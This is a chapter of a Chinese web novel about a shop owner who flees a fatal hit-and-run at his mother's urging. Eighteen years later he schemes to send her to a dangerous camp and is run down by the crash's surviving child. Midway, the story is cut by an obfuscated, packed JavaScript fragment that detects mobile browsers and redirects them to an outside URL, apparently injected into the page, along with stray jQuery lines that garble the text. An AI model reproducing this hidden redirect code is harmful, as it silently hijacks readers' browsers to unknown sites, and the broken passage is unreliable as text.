2012年1月4日，很冷的冬天。


    余有为跟着赵老板去外地进货，头天去的，早上装完货，中午出发往回赶。


    马上要过年了，来进货的车很多，单子在排，为了早些拿货回去，赵老板一整夜都在催促，终于在中午装完货。


    回去的路上是余有为开的车。路途遥远，忙了一整夜，又开车，是个人都熬不住。他在半路的服务区换了老板开。老板在车上睡了两三个小时，精神比他好。


    余有为坐进副驾，一下子就睡着了，呼噜声震天响。老板防止自己打瞌睡，开了音响，一路震天动地地回去。


    进平城是晚上十点过，眼看着进城了，快要到了，在高速上开了大半天，刚下高速还有点不习惯降速，又恰逢在新公路上，路宽，心里急着要回家休息，难免脚下摸不准轻重，踩着油门，轰轰往门市冲。


    就差两条街了，这条新路走完，转个弯再走一条街就到了。


    赵老板还和余有为笑：“这条路修得好，离我们门市近，比以前快了至少半个小时。”


    余有为刚刚醒，揉着眼睛坐起来，问到哪儿了。他睁着朦朦胧胧的视线看，手摸着烟放进嘴里，打火机点上，抽了一口，视线也亮了。他把点燃的烟递给老板抽。


    就是老板伸手来接烟的瞬间，其实老板接烟都没转头来，眼睛是看着前面的，但人在持久高速运作之后，反应只会越来越慢。老板熬了通宵，忙着装货，只睡了两三个小时，一直在开车，没休息过，尽管他开车是老手了，感觉能撑住，但人不得不承认人的肉\体和精神是很脆弱的。


    当他的视野塞进一辆轿车时，已经来不及了——他的车速太快了，自以为这条路宽又是快凌晨的点了，路上不会有什么车和人，一直没降速，依旧保持着高速路上习惯的120码。


    120码，在大多地区的高速上是超速的速度，会扣分罚款，然而他把这个速度放在城市道路上，可想而知会撞得多惨，犹如挖掘机碾过滑板，破碎不堪。


    轿车撞得在地上翻了好几圈，甩去了另一条道上。车头全撞烂了，汽车盖弹起来，冒着浓烈白烟。


    货车也是刹出去十几米才停下来，两个人撞得头晕眼花，在安全气囊上闷了许久才眨着眼睛缓过一点。


    两个人摸着车座椅滑下车，跌跌撞撞去看那辆被撞的小轿车。他们是迎头撞的，轿车是一辆安全系数很高的豪车，只是对撞的车头烂了，压得前侧面的车门凹陷了，后面看起来还好，也仅仅只是看起来。毕竟那么快的速度，安全系数再高的车也经不住撞。


    轿车的车门卡死了，一只血红的手推了几下，没推动，从车门上滑下去，留下一道血痕，紧接着再没有动静，看起来像死了。


    两个人吓清醒了，混沌都吓没了。比发现自己撞了人更吓人的是，赵老板看见自己的母亲抱着自己的孩子站在路边，呆呆的。


    老板跑过去叫了一声妈，人不管多大年纪，出了事，又看见妈，第一时间感受到的是恐惧害怕，那些强压在心底的慌乱登时漫了出来，像装不了洪水的池子，洪水到处漫，淹得人要死了。


    老板很慌，浑身都在抖。


    赵淑萍是经历过大事的事，再大的事都经历过了，很快从最初的恐惧里回过神了。她把孩子交给老板，跑到轿车前，往里面看，然后说，死了。


    她说，快走。趁着没人快走。


    撞死了，一家三口，全死了。一个是做小本买卖的水果生意，另一边是开豪车的一家三口。不用想，这是赔钱赔不下来的，把房子卖了，门市卖了，所有东西都卖了，倾家荡产都赔不起。


    一家三口啊，都死了，会坐牢的。


    没人想坐牢。他还有孩子，刚出生，孩子以后要读书，不管考公还是进大公司，都要调查背景的。他不能去坐牢。


    老板跑了。年轻的余有为见老板跑了，也跟着跑了。老板都赔不起，他一个搬运工更赔不起。


    赵淑萍抱着孩子匆匆回了家，把孩子交给孩子妈，又匆匆转去门市上。


    余有为他们没回来，不知道跑去哪里了。


    赵淑萍急得嘴里起了泡，心慌不安地等了一宿，终于在凌晨四点把两人等回来。


    三人在库房里商量了半天，让余有为离开平城，他们把货车处理了，水果也没要。


    余有为走得又急又快，怕警察找上门。老板也怕警察找上门，一天的生意没心思做，关了门，心慌得吃不下饭，喝不下水。


    没有警察上门应该是最令人高兴的，但没人高兴，高兴不起来，因为这意味着警察也许会在下一秒上门。


    忐忑不安等到晚上，他们从电视新闻里看见这起车祸的报道，肇事司机跑了。路上没有监控，车祸具体经过不明，警察会持续追查。


    没有监控。老板只听见了这几个字，稍稍松口气。


    赵淑萍依旧提心吊胆，睡不安，住不安，在一次因为太过忧心而晕倒后，她决定回安阳去跟二儿子。


    赵老板没挽留，他每天在家里看着自己妈就会想起那件事，尽管过了半个月，尽管没什么风波了。可一想到自己撞死人，再狠心的人都会感到不安。


    弟弟的工资不高，听说赵淑萍要去，弟媳妇不高兴，讲小房子住不下。老板拿出所有钱，不顾妻子反对，给弟弟和弟媳买了一套四室两厅的大房子。


    弟媳终于同意了，笑着将妈接了过去。


    头一年，他都不敢过去过年。弟弟问起就说忙。妈也没多说什么。两年三年，随着时间流逝，终于将那件事埋了下去，他开始往弟弟那边走动，和他妈缄口不提那事。


    平静无波的过了十八年，老板记得非常清楚，没人会忘记自己杀过人，哪怕平时不提，但有时候会梦见，经常在半夜被吓醒。


    十八年过去，现在想起那件事，他都不知道应该先从哪里提起，但有人知道怎么提起，是他的邻居，笑眯眯问他以前那辆货车是卖了还是扔了。


    赵老板回家的时候，邻居提着垃圾出门，要去楼下倒垃圾。那个邻居和他差不多大，在小企业当会计。他问出这话的时候，老板整个人都傻了，不知道为什么这样问。


    那辆火车……都18年了，谁会问18年前的车啊……


    他全身紧绷。


    那个邻居笑着说：“我那车不是年限到了准备报废了吗，今天开去报废……诶……你说人怎么这么有缘呀，当初咱俩前后脚结婚买到这里房子当了邻居，二十多年过去了，今天我开车去报废看见你那辆车了，停在一堆车里，锈都生三尺厚啦！你什么时候开去报废的啊？车咋滴啦要报废，我记得那年你新买的车啊……唉……你怎么走了……真奇怪，不就唠两句嗑吗……那车在那儿停了挺久吧，全锈了，前面的车皮都掉了，没个十年八年都锈不成那样……唉……你好奇怪呀，好好的新车……”


    老板不明白为什么18年过去了，车还没报废。报废所的人的都不工作吗？2012年汽车报废没什么手续，只要把车停进去，那里面的人管你什么车，闭着眼睛推过去，全给压成铁片。


    陈年老事被翻出来，老板慌了。那车是他的，开车撞人也是他，逃跑还是他……


    他坐不住，起身去报废车场。果然，他那辆车破破烂烂地立在一堆小轿车后面，打眼就看见了。


    时隔18年，他一眼认出自己车。车皮不是锈掉了，是当年撞烂了。他的车，前面也撞凹陷了，车壳全翘了出来，漆掉完了。不过18年的时间让它看起来像锈烂的。


    “唉！赵老板，你怎么在这儿啊？来看你的车啊？”


    邻居笑眯眯站在他身后。


    赵老板头皮都要裂开了，这个人简直阴魂不散。


    那个邻居摆摆手：“诶诶诶，不是我跟你来的啊，我就说吧咱们真有缘。刚才啊，这儿工作人员跟我打电话说我手续不全，来签个字。这不，撞见你在这儿。”


    赵老板问他报废车要什么手续。


    “多得去了，麻烦，要是我早几年来报废都不至于这么麻烦。”邻居皱着眉，看起来是真的很麻烦，“赵老板要是想报废去找人吧，自己跑是真不行，我跑好几趟了，早知道这么麻烦我都找代办了。不过我手续办得差不多了，就这两三趟。”


    他说着，往里面走。赵老板也跟着走，想去看看。


    邻居话题一转，忽然说：“赵老板听说818夏令营没？”


    赵老板：“什么？”


    邻居：“夏令营啊，就是那种可以把孩子送去补补课什么的，听说这个夏令营厉害得很，送进去的孩子出来一个赛一个的强。不止学生，老师啊职工啊，只要有想学的，都可以报名去参加。还挺抢手，报了名还得被选，不一定选中。我孩子老师报名去了。我给自己和孩子报了一个，你要不要报，你家孩子要不要报，万一选上了还能做个伴。里面资源多得很，管他学什么，进去认识点人也好。要不你也报个吧，咱们老邻居了，一块去，好得很！”


    赵老板：“在哪儿培训？”


    邻居：“不知道，挺隐秘，好像挺远的，说不能透露。前几年有个明星去了，地址泄露，一大群粉丝围过去。那年在山上，粉丝人多，失足坠崖了好几个。后来就不透露地址了。”


    所以说是赵老板呢，脑袋就是比寻常人转得快：“谁都能去？年龄限制有吗？”


    邻居：“没有吧，但也不能太小或太大吧，太小学什么啊？太大学什么啊，你说对吧赵老板。我们这个年龄是没问题的。”


    赵老板笑笑，陪他签完字，一起回了小区。


    赵老板不知道自己为什么会冒出这种想法，但就是冒出来了，而且一冒出来就一发不可收拾——他想让他妈去。


    他对他妈是有恨的，恨年轻时不离婚被爸爸拖累成那样，恨她控制欲太强，想要他和弟弟的人生跟随她的脚步走，恨那年车祸她让他跑，然后这些年来没个安生日子。原本以为安生了，结果随便被人提一句，才懂得从来没安生过。


    赵老板这辈子都没安生过，小时候，父母打架头破血流。初中时候，父母吵架吵翻天。高中时候，父亲死了，终于清净了，结果他的母亲，要他好好考大学啊，考个好大学啊，我供你读书不容易呀，你一定要考个好大学找个好工作啊，千万不能像你父亲那样啊，你得堂堂正正做个正经的好工作，你是大学生啊……


    后来，工作了，还是不安生。工作被辞了，自己做生意，以为自己掌握自己人生了，还是不安生。


    这些所有的不安生，全部来源于一个人，他的母亲，他没了丈夫的母亲，他一个人带大两个孩子的母亲，那个伟大的母亲。


    他的人生，他的一切，他的每一步都在他母亲的指使中进行。包括车祸后的逃跑。包括现在的生活，哪怕母亲去跟着二弟住了十多年了，只要母亲在，母亲的阴影仍旧如影随形地笼罩他，将他压得死死的。


    他啊，真的很希望他的母亲离开，希望这辈子都别在见到她。一看见她，他就会想起自己那个一声不吭的老实父亲，想起自己被左右的人生，想起那场车祸，想起自己是一个杀人犯，是一个在逃的杀人犯，想起自己的儿子往后一生可能因为自己而不顺遂。


    赵老板从来没有这么清晰地想过、意识过，直到这一晚，他才清楚明白，压制住的理性之下，他是多么疯狂的想母亲早早死掉，像父亲那样悄无声息死掉。


    可是母亲的命很长。六十多岁了，身体健朗。让他心慌，心急，心里害怕。


    他四十多了，身体越来越不好，能不能活过50都不知道。他最后的人生也要被母亲掌控吗？也要在看见母亲就会想起那些令人可怕的回忆中度过吗？


    他不想。


    老实了一辈子，他想反抗一下，稍稍地反抗一下。


    周末，他去了安阳，去二弟家，和母亲、二弟、弟妹、两个侄女热热闹闹吃过午饭，他问，妈，想去旅游吗，去旅个游散散心吧，您这些年为家里操劳够多了，出去散个心，放松放松。


    母亲笑得一脸幸福而慈爱，却摆摆手说，算啦，我都这把年纪了，走不动，坐不动，还是家里待着好。


    弟媳可不是喜欢妈的人，当即在旁边帮腔，劝她出去。反正也不是她出钱，人离开家里，她还能轻松一段时间。


    赵老板说，老年团，轻松的，有车接车送，什么都齐全，不操心。


    母亲犹豫了，她在公园里和那些老太太老头们聊天，可听说了，那些老太老头多多少少远远近近都去旅游过，开心的。


    母亲说：啥都操办齐全了，肯定贵吧？


    赵老板笑道：贵啥，妈想去的，哪能贵啊，况且，再贵是妈去散个心，儿子还怕拿不出钱，左右不过多卖两箱苹果的事。


    这些年，他的生意越做越大，自然是钱越滚越多。


    两个小侄女也在旁边起哄，要奶奶带好吃的回去。


    赵淑萍受不住了，说行行行，你们既然想我出去散个心，那你们看着办，我都听你们的。


    夏令营和真正的老年团可不一样，那是学习的地方，偏僻、清远、学习就会劳累。赵老板打电话问过了，不限年龄段，但会审核资料，由公司内部人员确定。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252517|160543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>无所谓，赵老板只想试试，能去当然好。去一趟，折腾下来，母亲应该不会这么硬朗了吧？说得狼心狗肺些，如果母亲因为学习劳累过度，去世了，他是否可以拿到一笔大额赔偿金？


    818夏令营是国内最大的夏令营。


    报名很快，审核也很快，快得赵老板即恍惚又兴奋。他开车送母亲去车站，交待一切事宜。絮絮叨叨将母亲送上火车，说那边有人来接。


    送走母亲，坐回车内，赵老板看见中控台的纸，一张写满重要事件的纸。那是为母亲准备的，上面写了她每日要吃的药，他和二弟的电话，还有她在夏令营要学习的课程。


    赵老板没将这张纸给她，就像因为太急着赶车而忘记了，如今人走了，准备的纸静静躺在那里，随着他关车门的时候震了震。


    其实不是，赵老板就是故意没的。他四十多年，还没到会忘记事情的地步。出发前，他在夹缝里搜到一条关于818夏令营的信息，忘记是怎么搜到的了。


    那是一条隐秘的信息，报道人说自己去参加过818夏令营，她知道里面的规则。每个人都有属于的课程，有对应的老师，每天要完成老师布置的作业。前面一周，不管功课完成没完成会提供食物。一周之后，功课没完成，会禁食，直到完成功课为止。


    非常苛责的上课方式。


    有人不信，不相信偌大夏令营会这样做，万一饿死了怎么办？楼主没再回了，热度不高，很快被淹没过去。


    但赵老板看见了，相信了，因为他坚信就是这样。如果不坚信，他不知道该怎么去想自己做下的这件大逆不道的事。


    他只能坚信，坚信母亲去了那里，回不来。以后他再也不会一看见母亲就想起父亲，想起那场车祸，想起自己是杀人凶手，想起自己儿子是杀人凶手的儿子。


    他终于……要轻松了……


    赵老板靠在座椅上，仰着头，深深舒缓一口气，长长的气。


    这口气还没落进肚子，刺目的灯光直射过来。赵老板睁开眼，还没来得及看清是什么车的灯，剧烈的颠簸，连车带人飞滚出去几十米远，撞得四周的轿车堆叠，撞得他头晕眼花，头破血流。脑袋撞在车玻璃上，他匍匐在方向盘和座椅之间，晕了过去。


    四周嘈闹，汽车尖锐的警报，人的尖叫，刺激得赵老师醒了。他撑着又胀又晕又痛的头，伸手去推车门。车门被撞扁了，完全凹陷进来卡住了他的腿。让他的腿动弹不得。


    浑身都在疼，又热又疼，发麻。无力。鲜血顺着脑袋留，晕眩的眼睛看见手掌上的血在车窗上留下一个掌印和划痕，像18年前的夜晚，那个被他撞死的司机也是这样，血在车窗上血下猩红刺目的血印。


    他艰难地从方向盘下面抬起头，颈椎痛得人要窒息过去。他怀疑颈椎折了，他刚坐上车，还没准备走，没系安全带。车被撞翻时，他像一根弹簧，下半身卡在座椅下面，上半身像一根弹力强悍的弹簧，晃来晃去，滚来滚去，被卡死的腿就是他的支撑点。


    一辆货车，一辆铁迹斑斑的货车，一辆熟悉的铁迹斑斑的货车，停在斜前方。


    赵老板看见的刹那，脑袋嗡地炸了——那是他的货车。18年前，他开去撞死别人的货车！


    18年后，被别人开着，来撞他了。


    一模一样的场景，几乎一模一样的场景。


    哪里是随时时间渐渐消失了，明明是因果报应来得早与晚。


    隔了18年，他的报应来了。


    18年前，他撞死了别人。


    18年后，报应到他身上。


    他痛苦地掀起眼皮，一个人戴着鸭舌帽，站在窗外，隔着玻璃，垂下视线看他。


    那双眼睛，漆黑如墨。


    她张开唇，轻声说：“啊，死了……”


    啊，死了，撞死了……撞死了……


    当年，他的母亲，站在那辆被撞翻的车前，探着身体，透过车窗，往车里看。看完后，啊地叫了一声，跑回来，说死了，撞死了，撞死了。


    死了，撞死了。


    真的死了吗，真的撞死了吗……


    没有，没有，没死，赵老板不愿意想起，不愿意承认的细节全在这一刻都浮了上来。


    没死，没死，都没死。都还活着。


    他去看的时候，那个司机用血淋淋的手指往后面指，流血的嘴在说着什么。隔着车窗，当时他自己也被装傻了，没听清。


    现在，他听清了，他想起来了，那个人说救她，救她，救她，他的孩子，后座那个小小的人，他的孩子，卡在座位与椅背之间。


    当时，他还探头去看了一眼，那是一个很小的女孩子。仰着头，昏昏沉沉地半眯着眼，望着她，那双漆黑的瞳孔充满了痛苦与祈求，像那个男人，在求他，求他救救她，救救他们。


    可是他太怕了，怕死了。


    母亲抓住他，将他往货车那面推，让他快走，母亲说死了，全死了，撞死了。


    死了，撞死了，全死了，全死了。


    他跑了，逃跑了。


    死了，死了，得跑啊，不跑做什么，坐牢吗，他不要坐牢，不能坐牢。他有家人，有儿子，有自己的人生。


    对，他有自己的人生。母亲并没有完全掌控他的人生，母亲很爱他，爱到他希望母亲离开母亲就离开，他希望母亲去帮他照顾家人母亲就去照顾，他希望母亲把所有钱拿给他结婚做生意母亲就拿，母亲永远听他的话，支持他做的一切决定。


    为什么他会觉得母亲掌控了他，因为母亲那张脸。18年，或者28年，38年，只要看见母亲那张为他紧张、担忧、焦虑的脸，他就忐忑不安，他就感到害怕，他就没办法正常生活。


    他讨厌母亲，极度自私地讨厌母亲。他做梦梦见过母亲死了，母亲断气的瞬间，他在梦里感到前所未有的轻松，那种轻松被他带出梦，他有种重新活一遍的恍惚。


    就是那一阵恍惚，他希望母亲死掉，快些死掉，早一点死掉。他能为她办一场风风光光的后事，她想要什么样的排场，他都依她，只要她死，像父亲那样，轻轻死掉就好了。


    人群散了，像一阵烟，轻飘飘地往四周散开。赵老板艰难地睁开眼皮，睁不开，瞳孔开始虚幻，看不清，什么都看不清。有一抹浓厚的影子，从他的瞳孔里走出去，越走越远，越走越小，小成一团，一个点，像卡在后座的女孩。


    脑海里的最后一幕，他想起来了。


    这个人，是当年他没完全撞死的那个唯一活下来的孩子。


    那个求他救救他们的小女孩……